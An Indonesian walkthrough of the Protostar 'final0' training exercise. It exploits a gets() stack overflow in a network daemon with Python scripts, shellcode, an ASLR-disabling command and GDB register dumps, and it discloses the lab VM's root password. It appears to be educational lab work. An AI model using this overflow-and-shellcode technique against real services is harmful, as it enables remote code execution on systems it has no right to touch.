Protostar Final 0
Alat dan Bahan
- Binary: final0
- Sistem operasi: Debian 9 dengan arsitektur 64 bit.
Mengatur Lingkungan Pekerjaan
- Binary
Ambil binary dari VM Protostar.
$ scp [email protected]:/opt/protostar/bin/final0 $PWD
- Source Code
#include "../common/common.c"
#define NAME "final0"
#define UID 0
#define GID 0
#define PORT 2995
/*
* Read the username in from the network
*/
char *get_username()
{
char buffer[512];
char *q;
int i;
memset(buffer, 0, sizeof(buffer));
gets(buffer);
/* Strip off trailing new line characters */
q = strchr(buffer, '\n');
if(q) *q = 0;
q = strchr(buffer, '\r');
if(q) *q = 0;
/* Convert to lower case */
for(i = 0; i < strlen(buffer); i++) {
buffer[i] = toupper(buffer[i]);
}
/* Duplicate the string and return it */
return strdup(buffer);
}
int main(int argc, char **argv, char **envp)
{
int fd;
char *username;
/* Run the process as a daemon */
background_process(NAME, UID, GID);
/* Wait for socket activity and return */
fd = serve_forever(PORT);
/* Set the client socket to STDIN, STDOUT, and STDERR */
set_io(fd);
username = get_username();
printf("No such user %s\n", username);
}
- Mematikan ASLR
Matikan ASLR agar proses eksploitasi lebih mudah. Untuk mematikannya gunakan perintah berikut:
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
Identifikasi Kelemahan
Program menerima input dari stdin
kemudian diproses melalui fungsi gets
yang vulnerable. Tujuannya adalah mengisi stack dengan shellcode
kemudian mendapatkan akses shell melalui register IP.
Eksploitasi
# script final0a.py
import socket
HOST = "192.168.56.101"
PORT = 2995
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
to_send = "a"*512 + "".join(map(chr, [x for x in range(33, 126)])) + "\n"
s.sendall(to_send)
msg = s.recv(1024)
print "resp:", msg
Pada klien jalankan script diatas sehingga mendapatkan luaran dibawah ini.
$ python2 final0a.py
resp:
Untuk mengetahui apa yang terjadi pada program yang sedang dieksploitasi maka login ke server Protostar dengan user root
dan password godmode
maka pada direktori /tmp
terdapat coredump yang bisa dianalisis dengan GDB.
gdb core.11.final0.1482
Core was generated by `/opt/protostar/bin/final0'.
Program terminated with signal 11, Segmentation fault.
#0 0x38373635 in ?? ()
(gdb) i r
eax 0x804b008 134524936
ecx 0x0 0
edx 0x1 1
ebx 0x302f2e2d 808398381
esp 0xbffffc60 0xbffffc60
ebp 0x34333231 0x34333231
esi 0x0 0
edi 0x0 0
eip 0x38373635 0x38373635
eflags 0x10282 [ SF IF RF ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
(gdb) x/100x $esp-512-128
0xbffff9e0: 0xbffffa48 0x00000201 0xbffffa08 0xb7f06caa
0xbffff9f0: 0x00000201 0xb7f0a050 0xfefefeff 0xb7fd7ff4
0xbffffa00: 0xbffffa48 0x00000201 0xbffffa28 0xb7f0a068
0xbffffa10: 0x0804b008 0xbffffa48 0x00000201 0x00000200
0xbffffa20: 0x00000000 0x00000000 0xbffffc58 0x0804982a
0xbffffa30: 0xbffffa48 0x0000000d 0x00000200 0x00000520
0xbffffa40: 0xb7e9c894 0x0d696910 0x41414141 0x41414141
0xbffffa50: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffa60: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffa70: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffa80: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffa90: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffaa0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffab0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffac0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffad0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffae0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffaf0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffb00: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffb10: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffb20: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffb30: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffb40: 0x41414141 0x41414141 0x41414141 0x41414141
---Type <return> to continue, or q <return> to quit---
(gdb) x 0xbffffa40
0xbffffa40: 0xb7e9c894
(gdb) x 0xbffffa48
0xbffffa48: 0x41414141
Dengan jumlah buffer sebesar 532 byte program mengalami segmentation fault dan register IP sudah bisa dikendalikan. Agar bisa mendapatkan akses shell maka isi stack dengan shellcode
pada awal payload dan tambahkan alamat shellcode pada akhir payload sebagai IP.
# script final0b.py
import socket
HOST = "192.168.56.101"
PORT = 2995
TARGET = "\x48\xfa\xff\xbf"
SHELLCODE = "\xeb\x19\x5e\x31\xc0\x31\xdb\x31\xd2\x89\xf1\x80\xc3\x01\xb0\x04\xb2\x0b\xcd\x80\x31\xc0\x31\xdb\x40\xcd\x80\xe8\xe2\xff\xff\xff\x49\x27\x6d\x20\x48\x65\x72\x65\x21\x21\x21"
BUF_LEN = 532
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
to_send = SHELLCODE + "x"*(BUF_LEN - len(SHELLCODE)) + TARGET + "\n"
s.sendall(to_send)
msg = s.recv(1024)
print "resp:", msg
Saat script diatas dijalankan maka luaran yang didapatkan seperti ini.
$ python2 final0a.py
resp: I'M HERE!!!